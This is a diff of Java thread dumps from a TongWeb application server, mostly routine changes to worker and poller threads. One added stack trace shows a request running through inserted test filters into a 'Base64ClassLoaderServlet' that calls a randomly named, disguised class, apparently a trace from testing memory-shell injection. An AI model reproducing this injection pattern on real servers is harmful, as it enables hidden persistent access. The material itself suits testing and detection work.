-"WebSocketClient-AsyncIO-6" #147 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
- at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
- at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
- at java.lang.Thread.run(Thread.java:750)
+"DefaultQuartzScheduler_Worker-3" #144 [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.lang.Object.wait(Native Method)
+ at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553)
-"com.tongweb.tongejb.pool.scheduler.3" #63 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6669ac4f
+"TWNT-startStop-1" #76 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c22864f
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"Stateful cache" #60 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f025917
- java.lang.Thread.State: TIMED_WAITING
+"DefaultQuartzScheduler_QuartzSchedulerThread" #152 [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.lang.Object.getClass(Native Method)
+ at com.tongweb.quartz.simpl.PropertySettingJobFactory.setBeanProps(PropertySettingJobFactory.java:85)
+ at com.tongweb.quartz.simpl.PropertySettingJobFactory.newJob(PropertySettingJobFactory.java:76)
+ at com.tongweb.quartz.core.JobRunShell.initialize(JobRunShell.java:135)
+ at com.tongweb.quartz.core.QuartzSchedulerThread.run(QuartzSchedulerThread.java:388)
+
+"JCA-default-thread-pool-worker-5" #48 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd
+ java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"RMI TCP Accept-0" #13 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at java.net.PlainSocketImpl.socketAccept(Native Method)
- at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
- at java.net.ServerSocket.implAccept(ServerSocket.java:560)
- at java.net.ServerSocket.accept(ServerSocket.java:528)
- at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
- at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
- at java.lang.Thread.run(Thread.java:750)
-
-"WebSocketClient-AsyncIO-1" #142 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e
+"ajp-bio-8009-exec-7" #123 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
- at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
- at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"DefaultQuartzScheduler_Worker-4" #160 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@68629e5c
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553)
+"http-nio-0.0.0.0-9060-ClientPoller-1" #89 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218)
+ at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-9060-Acceptor-0" #102 daemon [RUNNABLE]
+"http-nio-0.0.0.0-8080-exec-2" #92 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
- at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
- at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
- at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:859)
+ at java.lang.Thread.dumpThreads(Native Method)
+ at java.lang.Thread.getAllStackTraces(Thread.java:1615)
+ at org.apache.http.client.spzga.ErrorKewjvHandler.toString(BasicInfoPrinter.java:26)
+ at java.lang.String.valueOf(String.java:2994)
+ at com.tongweb.web.thor.connector.CoyoteWriter.print(CoyoteWriter.java:248)
+ at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:305)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
+ at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
+ at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:52)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
+ at EmptyFilter.doFilter(EmptyFilter.java:12)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
+ at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
+ at com.tongweb.web.thor.core.ThorStandardWrapperValve.invoke(ThorStandardWrapperValve.java:202)
+ at com.tongweb.web.thor.core.StandardContextValve.invoke(StandardContextValve.java:123)
+ at com.tongweb.twnt.thor.OpenEJBValve.invoke(OpenEJBValve.java:46)
+ at com.tongweb.web.thor.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472)
+ at com.tongweb.web.thor.core.ThorStandardHostValve.invoke(ThorStandardHostValve.java:69)
+ at com.tongweb.web.thor.valves.AccessLogValve.invoke(AccessLogValve.java:929)
+ at com.tongweb.web.thor.valves.ErrorReportValve.invoke(ErrorReportValve.java:99)
+ at com.tongweb.web.thor.core.StandardEngineValve.invoke(StandardEngineValve.java:118)
+ at com.tongweb.web.thor.connector.CoyoteAdapter.service(CoyoteAdapter.java:411)
+ at com.tongweb.web.oro.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1017)
+ at com.tongweb.web.oro.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:589)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1767)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor.run(NioEndpoint.java:1744)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"ajp-bio-8009-exec-10" #138 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7
+"http-nio-0.0.0.0-8080-exec-5" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@faf9f2c
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -414,7 +405,13 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"JCA-default-thread-pool-worker-3" #52 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9
+"persistence" #159 daemon [TIMED_WAITING] on java.util.TaskQueue@3c26dc97
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"JCA-default-thread-pool-worker-10" #53 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -425,7 +422,7 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-8080-exec-10" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227
+"http-nio-0.0.0.0-8080-exec-6" #96 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@faf9f2c
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -438,18 +435,7 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"JCA-default-thread-pool-worker-2" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at java.lang.Thread.run(Thread.java:750)
-
-"ajp-bio-8009-exec-1" #129 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7
+"http-nio-0.0.0.0-9060-exec-10" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -462,29 +448,38 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"DefaultQuartzScheduler_Worker-9" #165 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@4fc0568e
+"Timer-0" #154 [TIMED_WAITING] on java.util.TaskQueue@747e35a2
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
- at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
-"DefaultQuartzScheduler_Worker-3" #159 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@3860642e
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553)
+"http-nio-0.0.0.0-8080-Acceptor-0" #103 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:859)
+ at java.lang.Thread.run(Thread.java:750)
-"WebSocketClient-AsyncIO-11" #152 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e
- java.lang.Thread.State: WAITING
+"com.tongweb.tongejb.pool.scheduler.2" #56 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1743bb4d
+ java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
- at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
- at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-9060-exec-1" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64
+"GC Daemon" #15 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@64e60076
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at sun.misc.GC$Daemon.run(GC.java:117)
+
+"http-nio-8443-exec-2" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -497,18 +492,7 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"JCA-default-thread-pool-worker-4" #53 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-8443-exec-3" #118 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c
+"http-nio-0.0.0.0-9060-exec-3" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -521,13 +505,21 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"persistence" #173 daemon [TIMED_WAITING] on com.tongweb.monitor.persistence.TaskQueue@66aac4cf
+"get-gc-info-timer" #20 daemon [TIMED_WAITING] on java.util.TaskQueue@6e2eaa19
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
- at com.tongweb.monitor.persistence.TimerThread.mainLoop(MonitorTimer.java:460)
- at com.tongweb.monitor.persistence.TimerThread.run(MonitorTimer.java:408)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-nio-8443-Acceptor-0" #116 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:859)
+ at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-9060-exec-3" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64
+"http-nio-0.0.0.0-8080-exec-3" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@faf9f2c
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -540,39 +532,51 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"Thread-31" #141 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.EPoll.epollWait(Native Method)
- at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194)
- at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268)
- at java.lang.Thread.run(Thread.java:750)
-
-"ContainerBackgroundProcessor[StandardEngine[TWNT]]" #89 daemon [TIMED_WAITING]
+"ajp-bio-8009-AsyncTimeout" #128 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
- at com.tongweb.web.thor.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1520)
+ at com.tongweb.web.webutil.util.net.JIoEndpoint$AsyncTimeout.run(JIoEndpoint.java:149)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-9060-exec-2" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64
+"WebSocketClient-AsyncIO-8" #137 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f6ba499
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
+ at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"Timer-1" #171 daemon [TIMED_WAITING] on java.util.TaskQueue@4d0a0781
- java.lang.Thread.State: TIMED_WAITING
+"Thread-25" #129 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPoll.epollWait(Native Method)
+ at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@6b78515b
+ java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
- at java.util.TimerThread.mainLoop(Timer.java:552)
- at java.util.TimerThread.run(Timer.java:505)
+ at java.lang.Object.wait(Object.java:502)
+ at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
+ at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
-"http-nio-8443-ClientPoller-0" #126 daemon [RUNNABLE]
+"process reaper" #11 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@616b06aa
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460)
+ at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
+ at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-0.0.0.0-8080-ClientPoller-0" #101 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
@@ -582,31 +586,17 @@ ThreadStacks:
at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218)
at java.lang.Thread.run(Thread.java:750)
-"ajp-bio-8009-exec-4" #132 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
- at java.lang.Thread.run(Thread.java:750)
-
-"JCA-default-thread-pool-worker-8" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+"http-nio-0.0.0.0-8080-ClientPoller-1" #102 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-8080-exec-5" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227
+"http-nio-0.0.0.0-8080-exec-8" #98 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@faf9f2c
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
